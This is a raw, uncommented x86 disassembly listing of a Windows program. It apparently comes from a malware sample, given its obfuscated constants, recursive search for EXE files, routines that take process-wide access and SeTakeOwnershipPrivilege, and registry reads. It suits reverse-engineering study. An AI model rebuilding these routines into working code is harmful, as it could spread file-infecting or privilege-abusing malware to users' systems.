[ebp+var_259], 4Eh jnz short loc_43E905 cmp [ebp+var_258], 4Bh jnz short loc_43E905 push ebx call sub_43ADF1 add esp, 4 loc_43E905: ; CODE XREF: sub_43E77A+16Ej ; sub_43E77A+177j ... cmp [ebp+var_257], 45h jnz short loc_43E92F cmp [ebp+var_259], 58h jnz short loc_43E92F cmp [ebp+var_258], 45h jnz short loc_43E92F push [ebp+var_248] push ebx call sub_43ABE6 add esp, 8 loc_43E92F: ; CODE XREF: sub_43E77A+104j ; sub_43E77A+192j ... lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CA228 mov esi, eax movsx eax, word_54F1A8 add eax, dword_54F20C sub eax, 3 neg eax cmp esi, eax jz loc_43EA16 cmp [ebp+var_112], 2Eh jz loc_43EA12 push offset byte_54FE59 call sub_43AAF7 lea edx, [ebp+var_112] push edx push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50C928 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_242] push eax call sub_43E77A add esp, 20h jmp short loc_43EA12 ; --------------------------------------------------------------------------- loc_43E9A3: ; CODE XREF: sub_43E77A+29Aj lea eax, [ebp+var_13E] push eax push esi call ds:dword_447FC8 mov edi, eax or edi, edi jnz short loc_43E9D4 mov eax, [ebp+var_248] add eax, ds:dword_50C92C push eax call ds:dword_50C924 pop ecx push esi call ds:dword_4495BC jmp short loc_43EA16 ; --------------------------------------------------------------------------- loc_43E9D4: ; CODE XREF: sub_43E77A+23Bj cmp [ebp+var_112], 2Eh jz short loc_43EA12 push offset dword_54FE50 call sub_43AAF7 lea edx, [ebp+var_112] push edx push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50C928 push [ebp+arg_8] push [ebp+arg_4] lea eax, [ebp+var_242] push eax call sub_43E77A add esp, 20h loc_43EA12: ; CODE XREF: sub_43E77A+1ECj ; sub_43E77A+227j ... or edi, edi jnz short loc_43E9A3 loc_43EA16: ; CODE XREF: sub_43E77A+1DFj ; sub_43E77A+258j pop edi pop esi pop ebx leave retn sub_43E77A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EA1B proc near ; CODE XREF: sub_4394E9+3Ap var_10034 = dword ptr -10034h var_10030 = byte ptr -10030h var_1002C = dword ptr -1002Ch var_10028 = dword ptr -10028h var_10024 = dword ptr -10024h var_10020 = byte ptr -10020h var_10018 = dword ptr -10018h var_10010 = dword ptr -10010h var_1000C = dword ptr -1000Ch var_10008 = dword ptr -10008h var_10004 = dword ptr -10004h var_FFFF = byte ptr -0FFFFh var_FFFE = byte ptr -0FFFEh var_FFFD = byte ptr -0FFFDh var_FFFC = byte ptr -0FFFCh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10034h call sub_4455B4 push ebx push esi push edi mov eax, dword_54F220 add eax, dword_54F100 sub eax, 0Bh cmp dword_54F2C4, eax jnz short loc_43EA55 mov eax, dword_54F0EC add eax, 9 cmp ds:dword_4495D0, eax jb loc_43ECCD loc_43EA55: ; CODE XREF: sub_43EA1B+24j lea eax, [ebp+var_10020] push eax call ds:dword_446048 lea eax, [ebp+var_10030] push eax lea eax, [ebp+var_10020] push eax push 9 movsx eax, word_54F104 add eax, dword_54F1EC sub eax, 3 push eax push [ebp+arg_0] call ds:dword_4CA224 mov edi, eax mov eax, dword_54F1D0 movsx edx, word_54F148 add eax, edx sub eax, 8 cmp edi, eax jnz loc_43ECCD mov esi, [ebp+var_10018] mov eax, dword_54F1B4 sub eax, 4 mov [ebp+var_10008], eax lea eax, [ebp+var_10008] push eax push offset dword_550AA8 push esi mov edx, [esi] call dword ptr ds:0[edx] mov edi, eax mov eax, dword_54F20C sub eax, 4 cmp edi, eax jnz loc_43ECCD lea eax, [ebp+var_10024] push eax mov eax, [ebp+var_10008] push eax mov edx, [eax] call dword ptr [edx+78h] mov edi, eax mov eax, dword_54F1BC movsx edx, word_54F190 add eax, edx sub eax, 0Eh cmp edi, eax jnz loc_43ECC7 lea eax, [ebp+var_FFFF] push eax push [ebp+var_10024] call sub_43BBFE add esp, 8 mov edx, eax inc edx mov [ebp+var_10034], edx push [ebp+var_10024] call ds:dword_54DF34 cmp [ebp+var_FFFF], 68h jnz short loc_43EB5F cmp [ebp+var_FFFE], 74h jnz short loc_43EB5F cmp [ebp+var_FFFD], 74h jnz short loc_43EB5F cmp [ebp+var_FFFC], 70h jz short loc_43EB64 loc_43EB5F: ; CODE XREF: sub_43EA1B+127j ; sub_43EA1B+130j ... jmp loc_43ECC7 ; --------------------------------------------------------------------------- loc_43EB64: ; CODE XREF: sub_43EA1B+142j lea eax, [ebp+var_10010] push eax mov eax, [ebp+var_10008] push eax mov edx, [eax] call dword ptr [edx+48h] mov edi, eax mov eax, dword_54F1DC add eax, dword_54F234 sub eax, 8 cmp edi, eax jnz loc_43ECC7 lea eax, [ebp+var_10004] push eax push offset dword_550A28 mov eax, [ebp+var_10010] push eax mov edx, [eax] call dword ptr ds:0[edx] mov edi, eax mov eax, dword_54F0A4 sub eax, 7 cmp edi, eax jnz loc_43ECBB lea eax, [ebp+var_1000C] push eax mov eax, [ebp+var_10004] push eax mov edx, [eax] call dword ptr [edx+1B0h] mov edi, eax mov eax, dword_54F124 add eax, dword_54F22C sub eax, 9 cmp edi, eax jnz loc_43ECAF lea eax, [ebp+var_10028] push eax mov eax, [ebp+var_1000C] push eax mov edx, [eax] call dword ptr [edx+70h] mov edi, eax mov eax, dword_54F0C0 mov edx, eax add edx, eax mov eax, edx sub eax, 4 cmp edi, eax jz short loc_43EC23 mov eax, [ebp+var_1000C] push eax mov eax, [eax] call dword ptr [eax+8] jmp loc_43ECAF ; --------------------------------------------------------------------------- loc_43EC23: ; CODE XREF: sub_43EA1B+1F5j xor ebx, ebx mov eax, [ebp+var_10028] cmp [ebp+var_1000C], eax jz short loc_43EC36 xor ebx, ebx inc ebx loc_43EC36: ; CODE XREF: sub_43EA1B+216j mov eax, [ebp+var_1000C] push eax mov eax, [eax] call dword ptr [eax+8] mov eax, [ebp+var_10028] push eax mov eax, [eax] call dword ptr [eax+8] or ebx, ebx jnz short loc_43ECAF lea eax, [ebp+var_1002C] push eax mov eax, [ebp+var_10004] push eax mov edx, [eax] call dword ptr [edx+20h] mov edi, eax mov eax, dword_54F12C movsx edx, word_54F198 add eax, edx sub eax, 9 cmp edi, eax jnz short loc_43ECAF lea eax, [ebp+var_FFFF] push eax push [ebp+var_10008] push [ebp+var_1002C] push [ebp+var_10004] call sub_4404CE push [ebp+var_1002C] push [ebp+var_10004] push esi call sub_44526D add esp, 1Ch loc_43ECAF: ; CODE XREF: sub_43EA1B+1CAj ; sub_43EA1B+203j ... mov eax, [ebp+var_10004] push eax mov eax, [eax] call dword ptr [eax+8] loc_43ECBB: ; CODE XREF: sub_43EA1B+19Cj mov eax, [ebp+var_10010] push eax mov eax, [eax] call dword ptr [eax+8] loc_43ECC7: ; CODE XREF: sub_43EA1B+F0j ; sub_43EA1B:loc_43EB5Fj ... push esi mov eax, [esi] call dword ptr [eax+8] loc_43ECCD: ; CODE XREF: sub_43EA1B+34j ; sub_43EA1B+86j ... pop edi pop esi pop ebx leave retn sub_43EA1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ECD2 proc near ; CODE XREF: sub_444ED7+2E0p var_68 = dword ptr -68h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi call ds:dword_4899F4 mov ebx, eax call sub_44122A or eax, eax jnz short loc_43ECFA mov edi, dword_54F234 sub edi, 7 jmp loc_43EF05 ; --------------------------------------------------------------------------- loc_43ECFA: ; CODE XREF: sub_43ECD2+18j push ebx movsx eax, word_54F13C sub eax, 9 push eax push 1F0FFFh call ds:dword_54DF2C mov esi, eax lea eax, [ebp+var_4] push eax push 28h push esi call ds:dword_449080 mov edi, eax mov edx, dword_54F124 add edx, dword_54F1F4 mov ecx, dword_54F0C0 sub ecx, 2 mov [ebp+edx*4+var_68], ecx mov eax, dword_54F0C0 sub eax, 2 cmp edi, eax jz loc_43EF05 lea eax, [ebp+var_40] push eax push 28h lea eax, [ebp+var_3C] push eax mov eax, dword_54F1A0 add eax, 0Ah add eax, dword_54F1EC push eax push [ebp+var_4] call ds:dword_4CC90C mov edi, eax cmp [ebp+arg_0], 0 jz short loc_43EDCE mov eax, dword_54F100 sub eax, 9 cmp edi, eax jnz short loc_43ED8F mov edi, dword_54F0AC sub edi, 6 jmp loc_43EF05 ; --------------------------------------------------------------------------- loc_43ED8F: ; CODE XREF: sub_43ECD2+ADj mov eax, dword_54F120 mov edi, eax add edi, dword_54F180 sub edi, 7 mov eax, dword_54F214 movsx edx, word_54F218 add eax, edx sub eax, 3 cmp [ebp+var_3C], eax jz loc_43EF05 mov eax, dword_54F23C mov edi, eax add edi, dword_54F0DC sub edi, 4 jmp loc_43EF05 ; --------------------------------------------------------------------------- loc_43EDCE: ; CODE XREF: sub_43ECD2+A1j mov eax, dword_54F160 sub eax, 7 cmp dword_54F28C, eax jnz short loc_43EDF6 mov eax, dword_54F1A0 add eax, 3FF8h push eax push 40h call ds:dword_4899EC mov dword_54F28C, eax loc_43EDF6: ; CODE XREF: sub_43ECD2+10Aj lea eax, [ebp+var_40] push eax movsx eax, word_54F244 mov edx, dword_54F100 lea eax, [eax+edx+3FF0h] push eax push dword_54F28C push 1 push [ebp+var_4] call ds:dword_4CC90C mov eax, dword_54F200 add eax, dword_54F1B0 sub eax, 0Ch cmp dword_54F288, eax jnz short loc_43EE45 push 14h push 0 call ds:dword_4899EC mov dword_54F288, eax loc_43EE45: ; CODE XREF: sub_43ECD2+162j push 1 push dword_54F288 call ds:dword_447008 mov edi, eax push 0 mov eax, dword_54F168 movsx edx, word_54F208 add eax, edx sub eax, 3 push eax push 1 push dword_54F288 call ds:dword_48A1E4 mov edi, eax push 0 mov eax, dword_54F28C push dword ptr [eax] push dword_54F288 call ds:dword_4899E8 mov edi, eax lea eax, [ebp+var_10] push eax push offset aSetakeownershi ; "SeTakeOwnershipPrivilege" mov eax, dword_54F170 sub eax, 4 push eax call ds:dword_446020 mov edi, eax mov [ebp+var_8], 2 mov eax, dword_54F1B0 sub eax, 7 cmp edi, eax jz short loc_43EF05 movsx eax, word_54F1F0 movsx edx, word_54F148 add eax, edx sub eax, 6 mov [ebp+var_14], eax movsx eax, word_54F0B4 sub eax, 5 push eax movsx eax, word_54F164 add eax, dword_54F1FC dec eax push eax mov eax, dword_54F140 dec eax push eax lea eax, [ebp+var_14] push eax push 0 push [ebp+var_4] call ds:dword_4CB81C mov edi, eax loc_43EF05: ; CODE XREF: sub_43ECD2+23j ; sub_43ECD2+73j ... push esi call ds:dword_4CB948 push [ebp+var_4] call ds:dword_4CB948 mov eax, edi pop edi pop esi pop ebx leave retn sub_43ECD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EF1C proc near ; CODE XREF: sub_43CE88+B1p ; sub_43CE88+19Fp var_10038 = dword ptr -10038h var_10004 = dword ptr -10004h var_FFFF = byte ptr -0FFFFh var_FFFB = byte ptr -0FFFBh arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 10004h call sub_4455B4 push ebx push esi push edi mov esi, [ebp+arg_0] lea edi, dword_4CA440 cmp [ebp+arg_4], 43h jnz short loc_43EF41 lea edi, dword_4490A0 loc_43EF41: ; CODE XREF: sub_43EF1C+1Dj cmp [ebp+arg_4], 50h jnz short loc_43EF4D lea edi, dword_4CB830 loc_43EF4D: ; CODE XREF: sub_43EF1C+29j mov eax, dword_54F0C8 dec eax push eax push 80h push 3 mov eax, dword_54F1D8 movsx edx, word_54F094 add eax, edx sub eax, 6 push eax push 3 push 0C0000000h push edi call ds:dword_54DB18 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_43F04D push 0 mov eax, dword_54F188 sub eax, 5 push eax push esi push edi call ds:dword_54DF30 mov eax, dword_54F214 add eax, dword_54F17C sub eax, 0Ah push eax lea eax, [ebp+var_10004] push eax push 0FFFFh lea eax, [ebp+var_FFFF] push eax push edi call ds:dword_446034 lea ecx, [ebp+var_FFFB] or eax, 0FFFFFFFFh loc_43EFCB: ; CODE XREF: sub_43EF1C+B4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43EFCB mov edx, dword_54F154 add edx, dword_54F178 sub edx, 0Ch mov ebx, eax add ebx, edx mov [ebp+var_10004], ebx push 0 movsx eax, word_54F0FC add eax, dword_54F188 sub eax, 7 push eax push esi push edi call ds:dword_54DF30 mov esi, dword_54F1BC add esi, dword_54F1C8 mov ebx, [ebp+var_10004] mov [ebp+esi*4+var_10038+1], ebx mov eax, dword_54F15C sub eax, 4 push eax lea eax, [ebp+var_10004] push eax mov eax, dword_54F1FC add eax, 4 push eax lea eax, [ebp+var_FFFF] push eax push edi call ds:dword_54DF1C push edi call ds:dword_4CB948 loc_43F04D: ; CODE XREF: sub_43EF1C+64j pop edi pop esi pop ebx leave retn sub_43EF1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F052 proc near ; CODE XREF: sub_43B3AD+A8p var_11C = dword ptr -11Ch var_DC = dword ptr -0DCh var_9C = dword ptr -9Ch var_5C = dword ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_4], ecx mov edx, [eax+4] mov [ebp+var_8], edx mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_C], eax lea edi, [ebp+var_11C] lea esi, dword_54F360 mov ecx, 10h rep movsd lea edi, [ebp+var_5C] lea esi, dword_54F3A0 mov ecx, 10h rep movsd lea edi, [ebp+var_9C] lea esi, dword_54F3E0 mov ecx, 10h rep movsd lea edi, [ebp+var_DC] lea esi, dword_54F420 mov ecx, 10h rep movsd mov eax, dword_54F174 mov ebx, eax add ebx, eax sub ebx, 0Eh jmp loc_43F206 ; --------------------------------------------------------------------------- loc_43F0D5: ; CODE XREF: sub_43F052+1C0j mov edi, ebx shl edi, 2 push [ebp+edi+var_11C] mov edi, dword_54F18C add edi, 6 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43BA46 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_54F1F8 inc eax cmp ebx, eax jz short loc_43F15A mov edi, ebx add edi, dword_54F224 push [ebp+edi*4+var_11C] movsx edi, word_54F190 add edi, dword_54F0B0 dec edi push edi mov edi, dword_54F1F4 sub edi, 8 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43BA46 add esp, 1Ch mov [ebp+var_10], eax loc_43F15A: ; CODE XREF: sub_43F052+BEj mov edi, dword_54F168 movsx esi, word_54F148 add edi, esi dec edi mov esi, ebx add esi, edi push [ebp+esi*4+var_11C] movsx edi, word_54F0D0 add edi, 0Bh push edi movsx edi, word_54F1CC sub edi, 7 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43BA46 mov [ebp+var_4], eax movsx edi, word_54F210 add edi, dword_54F1F8 sub edi, 5 mov esi, ebx add esi, edi push [ebp+esi*4+var_11C] mov edi, dword_54F1BC add edi, 10h push edi movsx edi, word_54F198 add edi, 2 mov esi, ebx add esi, edi mov edi, [ebp+arg_4] push dword ptr [edi+esi*4] push [ebp+var_C] push [ebp+var_10] push eax push [ebp+var_8] call sub_43BA46 add esp, 38h mov [ebp+var_8], eax mov eax, dword_54F160 add eax, dword_54F154 sub eax, 0Bh add ebx, eax loc_43F206: ; CODE XREF: sub_43F052+7Ej movsx eax, word_54F164 add eax, 0Bh cmp ebx, eax jbe loc_43F0D5 mov eax, dword_54F154 mov ebx, eax add ebx, dword_54F15C sub ebx, 0Bh mov eax, dword_54F100 movsx edx, word_54F0FC add eax, edx sub eax, 0Bh mov [ebp+var_14], eax jmp loc_43F3DA ; --------------------------------------------------------------------------- loc_43F241: ; CODE XREF: sub_43F052+393j mov edi, [ebp+var_14] push [ebp+edi*4+var_5C] mov edi, dword_54F178 sub edi, 4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43BAED add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_54F24C sub eax, 4 add ebx, eax mov eax, dword_54F204 add eax, 0Eh cmp ebx, eax jb short loc_43F28F mov eax, dword_54F1B4 add eax, 0Ch sub ebx, eax loc_43F28F: ; CODE XREF: sub_43F052+231j mov edi, [ebp+var_14] mov esi, dword_54F0DC sub esi, 3 add edi, esi push [ebp+edi*4+var_5C] mov edi, dword_54F174 movsx esi, word_54F240 add edi, esi sub edi, 6 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43BAED add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_54F0D4 add eax, dword_54F0E4 sub eax, 5 add ebx, eax mov eax, dword_54F0E4 add eax, 4 add eax, dword_54F174 cmp ebx, eax jb short loc_43F2FD mov eax, dword_54F1B4 add eax, 0Ch sub ebx, eax loc_43F2FD: ; CODE XREF: sub_43F052+29Fj mov edi, [ebp+var_14] movsx esi, word_54F210 add esi, dword_54F200 sub esi, 8 add edi, esi push [ebp+edi*4+var_5C] mov edi, dword_54F18C add edi, 9 add edi, dword_54F1E4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43BAED add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_54F178 sub eax, 4 add ebx, eax mov eax, dword_54F238 add eax, 10h cmp ebx, eax jb short loc_43F363 mov eax, dword_54F0D8 add eax, 0Ah sub ebx, eax loc_43F363: ; CODE XREF: sub_43F052+305j mov edi, [ebp+var_14] mov esi, dword_54F200 sub esi, 2 add edi, esi push [ebp+edi*4+var_5C] movsx edi, word_54F0C4 add edi, 0Eh push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_43BAED add esp, 1Ch mov [ebp+var_8], eax mov eax, dword_54F100 sub eax, 4 add ebx, eax movsx eax, word_54F210 mov edx, dword_54F1A0 lea eax, [eax+edx+3] cmp ebx, eax jb short loc_43F3CF mov eax, dword_54F170 add eax, 8 movsx edx, word_54F144 add eax, edx sub ebx, eax loc_43F3CF: ; CODE XREF: sub_43F052+368j mov eax, dword_54F18C add eax, 3 add [ebp+var_14], eax loc_43F3DA: ; CODE XREF: sub_43F052+1EAj mov eax, dword_54F224 add eax, 0Bh cmp [ebp+var_14], eax jbe loc_43F241 mov ebx, dword_54F0BC add ebx, 5 movsx eax, word_54F138 sub eax, 3 mov [ebp+var_18], eax jmp loc_43F59F ; --------------------------------------------------------------------------- loc_43F406: ; CODE XREF: sub_43F052+55Aj mov edi, [ebp+var_18] push [ebp+edi*4+var_9C] mov edi, dword_54F0C8 add edi, 3 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43CD8F add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_54F0E0 sub eax, 3 add ebx, eax mov eax, dword_54F114 add eax, 0Fh cmp ebx, eax jb short loc_43F459 movsx eax, word_54F0C4 add eax, 0Ah sub ebx, eax loc_43F459: ; CODE XREF: sub_43F052+3F9j mov edi, [ebp+var_18] mov esi, dword_54F0D4 sub esi, 4 add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_54F100 add edi, 2 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43CD8F add esp, 1Ch mov [ebp+var_10], eax movsx eax, word_54F244 movsx edx, word_54F104 add eax, edx sub eax, 4 add ebx, eax mov eax, dword_54F0E4 add eax, 0Bh cmp ebx, eax jb short loc_43F4C6 mov eax, dword_54F23C add eax, 0Fh add eax, dword_54F130 sub ebx, eax loc_43F4C6: ; CODE XREF: sub_43F052+462j mov edi, [ebp+var_18] mov esi, dword_54F1B4 sub esi, 2 add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_54F1E0 add edi, 0Ch push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43CD8F add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_54F1C0 add eax, 2 add ebx, eax movsx eax, word_54F144 add eax, 0Ch cmp ebx, eax jb short loc_43F524 mov eax, dword_54F1C8 add eax, 8 sub ebx, eax loc_43F524: ; CODE XREF: sub_43F052+4C6j mov edi, [ebp+var_18] mov esi, dword_54F1F4 movsx edx, word_54F208 add esi, edx sub esi, 7 add edi, esi push [ebp+edi*4+var_9C] mov edi, dword_54F158 add edi, 12h add edi, dword_54F134 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_43CD8F add esp, 1Ch mov [ebp+var_8], eax mov eax, dword_54F230 add eax, 2 add ebx, eax mov eax, dword_54F1E0 add eax, 0Bh add eax, dword_54F0C8 cmp ebx, eax jb short loc_43F597 movsx eax, word_54F190 add eax, 8 sub ebx, eax loc_43F597: ; CODE XREF: sub_43F052+537j mov eax, dword_54F170 add [ebp+var_18], eax loc_43F59F: ; CODE XREF: sub_43F052+3AFj movsx eax, word_54F138 add eax, 9 cmp [ebp+var_18], eax jbe loc_43F406 mov ebx, dword_54F0A4 sub ebx, 7 mov eax, dword_54F0E4 add eax, dword_54F140 sub eax, 6 mov [ebp+var_1C], eax jmp loc_43F798 ; --------------------------------------------------------------------------- loc_43F5D1: ; CODE XREF: sub_43F052+751j mov edi, [ebp+var_1C] push [ebp+edi*4+var_DC] mov edi, dword_54F248 add edi, 2 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] call sub_43B370 add esp, 1Ch mov [ebp+var_C], eax mov eax, dword_54F1C0 add eax, 6 add eax, dword_54F238 add ebx, eax mov eax, dword_54F1C8 add eax, 8 cmp ebx, eax jb short loc_43F628 mov eax, dword_54F0D8 add eax, 0Ah sub ebx, eax loc_43F628: ; CODE XREF: sub_43F052+5CAj mov edi, [ebp+var_1C] movsx esi, word_54F104 add esi, dword_54F110 sub esi, 8 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_54F184 movsx esi, word_54F1A4 add edi, esi push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_43B370 add esp, 1Ch mov [ebp+var_10], eax mov eax, dword_54F14C add eax, 4 add eax, dword_54F224 add ebx, eax movsx eax, word_54F194 mov edx, dword_54F1C8 lea eax, [eax+edx+7] cmp ebx, eax jb short loc_43F6A9 movsx eax, word_54F164 mov edx, dword_54F178 lea eax, [eax+edx+6] sub ebx, eax loc_43F6A9: ; CODE XREF: sub_43F052+642j mov edi, [ebp+var_1C] mov esi, dword_54F0D8 sub esi, 4 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_54F1D8 add edi, 6 add edi, dword_54F0E4 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] call sub_43B370 add esp, 1Ch mov [ebp+var_4], eax mov eax, dword_54F214 add eax, 4 add ebx, eax mov eax, dword_54F1C0 add eax, 0Fh cmp ebx, eax jb short loc_43F714 mov eax, dword_54F0E4 add eax, 5 movsx edx, word_54F0C4 add eax, edx sub ebx, eax loc_43F714: ; CODE XREF: sub_43F052+6ADj mov edi, [ebp+var_1C] movsx esi, word_54F0C4 sub esi, 3 add edi, esi push [ebp+edi*4+var_DC] mov edi, dword_54F11C add edi, 11h add edi, dword_54F168 push edi mov edi, [ebp+arg_4] push dword ptr [edi+ebx*4] push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_43B370 add esp, 1Ch mov [ebp+var_8], eax movsx eax, word_54F148 movsx edx, word_54F0A8 lea eax, [eax+edx+6] add ebx, eax mov eax, dword_54F1C0 add eax, 0Fh add eax, dword_54F180 cmp ebx, eax jb short loc_43F790 mov eax, dword_54F21C add eax, 9 movsx edx, word_54F138 add eax, edx sub ebx, eax loc_43F790: ; CODE XREF: sub_43F052+729j mov eax, dword_54F15C add [ebp+var_1C], eax loc_43F798: ; CODE XREF: sub_43F052+57Aj mov eax, dword_54F154 add eax, 4 cmp [ebp+var_1C], eax jbe loc_43F5D1 mov edi, [ebp+arg_0] mov esi, dword_54F1F8 add esi, dword_54F1A0 mov ebx, [edi+0Ch] add ebx, [ebp+var_10] mov [edi+esi*4-20h], ebx movsx esi, word_54F094 add esi, dword_54F130 mov ebx, [edi] add ebx, [ebp+var_C] mov [edi+esi*4-0Ch], ebx movsx esi, word_54F240 add esi, dword_54F200 mov ebx, [edi+8] add ebx, [ebp+var_4] mov [edi+esi*4-2Ch], ebx mov esi, dword_54F18C mov ebx, [edi+4] add ebx, [ebp+var_8] mov [edi+esi*4], ebx pop edi pop esi pop ebx leave retn sub_43F052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F803 proc near ; DATA XREF: .data:0054F2ACo push ebp mov ebp, esp push offset dword_54DB14 call ds:dword_4899F8 mov eax, ds:dword_54DB14 pop ebp retn 4 sub_43F803 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F81A proc near ; CODE XREF: sub_43E364+32Dp var_318 = dword ptr -318h var_314 = byte ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_303 = byte ptr -303h var_20D = byte ptr -20Dh var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_FF = byte ptr -0FFh var_FD = byte ptr -0FDh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 318h push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edi, dword_54F140 dec edi jmp loc_43FA63 ; --------------------------------------------------------------------------- loc_43F838: ; CODE XREF: sub_43F81A+253j push offset word_54FDFA call sub_43AAF7 push edi push eax lea edx, [ebp+var_303] push edx call ds:dword_50C928 mov eax, dword_54F188 add eax, 0FAh add eax, dword_54F18C mov [ebp+var_204], eax push offset dword_54FDE8 call sub_43AAF7 lea edx, [ebp+var_314] push edx lea edx, [ebp+var_204] push edx lea edx, [ebp+var_FF] push edx push eax lea edx, [ebp+var_303] push edx push 80000001h call sub_440B18 add esp, 2Ch mov [ebp+var_310], eax test eax, eax jz loc_43FA62 lea eax, [ebp+var_1FE] push eax lea eax, [ebp+var_FD] push eax call sub_43BBFE mov eax, dword_54F0E0 add eax, dword_54F200 sub eax, 0Ah push eax lea eax, [ebp+var_1FE] push eax push ebx call sub_43DE22 add esp, 14h mov edx, dword_54F16C add edx, 0FFFAh cmp eax, edx jz loc_43FA62 push offset word_54FD8A call sub_43AAF7 pop ecx push eax lea edx, [ebp+var_FF] push edx call sub_4455D4 mov eax, dword_54F184 add eax, dword_54F160 sub eax, 0Bh mov [ebp+var_30C], eax mov eax, dword_54F1F4 sub eax, 9 mov [ebp+var_308], eax jmp short loc_43F960 ; --------------------------------------------------------------------------- loc_43F92B: ; CODE XREF: sub_43F81A+150j mov eax, [ebp+var_308] cmp [ebp+eax+var_FF], 23h jnz short loc_43F95A mov eax, [ebp+var_308] mov edx, dword_54F110 movsx ecx, word_54F09C add edx, ecx sub edx, 0Fh mov [ebp+eax+var_FF], dl loc_43F95A: ; CODE XREF: sub_43F81A+11Fj inc [ebp+var_308] loc_43F960: ; CODE XREF: sub_43F81A+10Fj cmp [ebp+var_308], 0FFh jb short loc_43F92B loc_43F96C: ; CODE XREF: sub_43F81A+242j mov eax, dword_54F0E8 add eax, 0FBh add eax, dword_54F0DC mov [ebp+var_204], eax lea eax, [ebp+var_314] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_1FE] push eax mov eax, [ebp+var_30C] lea eax, [ebp+eax+var_FF] push eax lea eax, [ebp+var_303] push eax push 80000001h call sub_440B18 add esp, 18h mov [ebp+var_310], eax test eax, eax jnz short loc_43F9E3 movsx eax, word_54F1E8 movsx edx, word_54F190 add eax, edx mov edx, dword_54F134 sub edx, 2 mov [ebp+eax+var_20D], dl loc_43F9E3: ; CODE XREF: sub_43F81A+1A7j mov eax, [ebp+var_30C] mov [ebp+var_318], eax lea ecx, [ebp+eax+var_FF] or eax, 0FFFFFFFFh loc_43F9F9: ; CODE XREF: sub_43F81A+1E4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F9F9 mov ecx, [ebp+var_318] add 